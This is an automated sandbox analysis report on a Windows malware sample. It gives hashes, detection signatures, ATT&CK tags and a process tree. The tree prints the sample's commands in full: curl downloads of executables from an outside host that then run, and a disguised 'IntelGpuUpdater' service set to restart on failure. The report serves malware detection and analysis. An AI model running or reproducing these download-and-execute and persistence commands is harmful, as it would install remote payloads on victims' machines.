f2b45a512a8c3586df555d52c068f516dd0bab1c8a24467bdf3e72055312185d

Analysis

max time kernel
16s
max time network
16s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
04-12-2024 19:53

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General

Target

f2b45a512a8c3586df555d52c068f516dd0bab1c8a24467bdf3e72055312185dN.exe
Size

5.3MB
MD5

37bc24bd5ce2067bdb0c34c0ca414c00
SHA1

3d7b67e7370d79533cb984330f21e5f5c5b9479a
SHA256

f2b45a512a8c3586df555d52c068f516dd0bab1c8a24467bdf3e72055312185d
SHA512

bf4fe4f5139bd206792b645509aaf42be2d58d3f003a497c799bbd3d860ec5c9193f781e4d1525ddd9f7798f8395d21e96ed74ceeb52c0ab43df3d642758ad8a
SSDEEP

98304:aOQGc830HeOIk0ons6U523lPWZIERFog7icldle+HJFD:hrj30qkXnsr2YIIog7if+HJF

Score

5^/10

discovery

Malware Config

Signatures

Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs

pid	Process
764	f2b45a512a8c3586df555d52c068f516dd0bab1c8a24467bdf3e72055312185dN.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File created	C:\Windows\IntelGpuUpdater.exe	cmd.exe

System Location Discovery: System Language Discovery 1 TTPs 8 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	f2b45a512a8c3586df555d52c068f516dd0bab1c8a24467bdf3e72055312185dN.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
764	f2b45a512a8c3586df555d52c068f516dd0bab1c8a24467bdf3e72055312185dN.exe

Suspicious use of WriteProcessMemory 28 IoCs

description	pid	Process	procid_target
PID 764 wrote to memory of 2912	764	f2b45a512a8c3586df555d52c068f516dd0bab1c8a24467bdf3e72055312185dN.exe	31
PID 764 wrote to memory of 2912	764	f2b45a512a8c3586df555d52c068f516dd0bab1c8a24467bdf3e72055312185dN.exe	31
PID 764 wrote to memory of 2912	764	f2b45a512a8c3586df555d52c068f516dd0bab1c8a24467bdf3e72055312185dN.exe	31
PID 764 wrote to memory of 2912	764	f2b45a512a8c3586df555d52c068f516dd0bab1c8a24467bdf3e72055312185dN.exe	31
PID 2912 wrote to memory of 2344	2912	cmd.exe	32
PID 2912 wrote to memory of 2344	2912	cmd.exe	32
PID 2912 wrote to memory of 2344	2912	cmd.exe	32
PID 2912 wrote to memory of 2344	2912	cmd.exe	32
PID 764 wrote to memory of 2332	764	f2b45a512a8c3586df555d52c068f516dd0bab1c8a24467bdf3e72055312185dN.exe	33
PID 764 wrote to memory of 2332	764	f2b45a512a8c3586df555d52c068f516dd0bab1c8a24467bdf3e72055312185dN.exe	33
PID 764 wrote to memory of 2332	764	f2b45a512a8c3586df555d52c068f516dd0bab1c8a24467bdf3e72055312185dN.exe	33
PID 764 wrote to memory of 2332	764	f2b45a512a8c3586df555d52c068f516dd0bab1c8a24467bdf3e72055312185dN.exe	33
PID 2332 wrote to memory of 2368	2332	cmd.exe	34
PID 2332 wrote to memory of 2368	2332	cmd.exe	34
PID 2332 wrote to memory of 2368	2332	cmd.exe	34
PID 2332 wrote to memory of 2368	2332	cmd.exe	34
PID 764 wrote to memory of 2384	764	f2b45a512a8c3586df555d52c068f516dd0bab1c8a24467bdf3e72055312185dN.exe	35
PID 764 wrote to memory of 2384	764	f2b45a512a8c3586df555d52c068f516dd0bab1c8a24467bdf3e72055312185dN.exe	35
PID 764 wrote to memory of 2384	764	f2b45a512a8c3586df555d52c068f516dd0bab1c8a24467bdf3e72055312185dN.exe	35
PID 764 wrote to memory of 2384	764	f2b45a512a8c3586df555d52c068f516dd0bab1c8a24467bdf3e72055312185dN.exe	35
PID 2384 wrote to memory of 1080	2384	cmd.exe	36
PID 2384 wrote to memory of 1080	2384	cmd.exe	36
PID 2384 wrote to memory of 1080	2384	cmd.exe	36
PID 2384 wrote to memory of 1080	2384	cmd.exe	36
PID 764 wrote to memory of 988	764	f2b45a512a8c3586df555d52c068f516dd0bab1c8a24467bdf3e72055312185dN.exe	37
PID 764 wrote to memory of 988	764	f2b45a512a8c3586df555d52c068f516dd0bab1c8a24467bdf3e72055312185dN.exe	37
PID 764 wrote to memory of 988	764	f2b45a512a8c3586df555d52c068f516dd0bab1c8a24467bdf3e72055312185dN.exe	37
PID 764 wrote to memory of 988	764	f2b45a512a8c3586df555d52c068f516dd0bab1c8a24467bdf3e72055312185dN.exe	37

C:\Users\Admin\AppData\Local\Temp\f2b45a512a8c3586df555d52c068f516dd0bab1c8a24467bdf3e72055312185dN.exe
"C:\Users\Admin\AppData\Local\Temp\f2b45a512a8c3586df555d52c068f516dd0bab1c8a24467bdf3e72055312185dN.exe"
1⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:764
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c cmd /c "cmd /c sc delete IntelGpuUpdater && cmd /c sc stop IntelGpuUpdater && " > NUL 2>&1
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2912
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c "cmd /c sc delete IntelGpuUpdater && cmd /c sc stop IntelGpuUpdater && "
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2344
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c cmd /c "curl https://dontuseme.ct8.pl/test.exe > %localappdata%\test.exe && start %localappdata%\test.exe && timeout 5 && del %localappdata%\test.exe" > NUL 2>&1
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2332
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c "curl https://dontuseme.ct8.pl/test.exe > C:\Users\Admin\AppData\Local\test.exe && start C:\Users\Admin\AppData\Local\test.exe && timeout 5 && del C:\Users\Admin\AppData\Local\test.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2368
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c cmd /c "del C:\Windows\IntelGpuUpdater.exe && del C:\Windows\IntelGpuUpdaterHelper.exe && curl https://dontuseme.ct8.pl/test.exe > C:\Windows\IntelGpuUpdater.exe && curl https://dontuseme.ct8.pl/nssm.exe > C:\Windows\IntelGpuUpdaterHelper.exe && C:\Windows\IntelGpuUpdaterHelper.exe install IntelGpuUpdater C:\Windows\IntelGpuUpdater.exe && cmd /c sc start IntelGpuUpdater && cmd /c sc failure IntelGpuUpdater reset= 0 actions= restart/5000/restart/5000/restart/5000" > NUL 2>&1
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2384
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c "del C:\Windows\IntelGpuUpdater.exe && del C:\Windows\IntelGpuUpdaterHelper.exe && curl https://dontuseme.ct8.pl/test.exe > C:\Windows\IntelGpuUpdater.exe && curl https://dontuseme.ct8.pl/nssm.exe > C:\Windows\IntelGpuUpdaterHelper.exe && C:\Windows\IntelGpuUpdaterHelper.exe install IntelGpuUpdater C:\Windows\IntelGpuUpdater.exe && cmd /c sc start IntelGpuUpdater && cmd /c sc failure IntelGpuUpdater reset= 0 actions= restart/5000/restart/5000/restart/5000"
    3⤵
    - Drops file in Windows directory
    - System Location Discovery: System Language Discovery
    PID:1080
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c pause
  2⤵
  - System Location Discovery: System Language Discovery
  PID:988

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/764-0-0x0000000000DA9000-0x00000000010D2000-memory.dmp

Filesize
3.2MB

Download
memory/764-10-0x0000000000250000-0x0000000000251000-memory.dmp

Filesize
4KB

Download
memory/764-11-0x0000000000DA0000-0x0000000001627000-memory.dmp

Filesize
8.5MB

Download
memory/764-8-0x0000000000250000-0x0000000000251000-memory.dmp

Filesize
4KB

Download
memory/764-6-0x0000000000250000-0x0000000000251000-memory.dmp

Filesize
4KB

Download
memory/764-5-0x0000000000140000-0x0000000000141000-memory.dmp

Filesize
4KB

Download
memory/764-3-0x0000000000140000-0x0000000000141000-memory.dmp

Filesize
4KB

Download
memory/764-1-0x0000000000140000-0x0000000000141000-memory.dmp

Filesize
4KB

Download
memory/764-12-0x0000000000DA0000-0x0000000001627000-memory.dmp

Filesize
8.5MB

Download
memory/764-13-0x0000000000DA0000-0x0000000001627000-memory.dmp

Filesize
8.5MB

Download
memory/764-14-0x0000000000DA9000-0x00000000010D2000-memory.dmp

Filesize
3.2MB

Download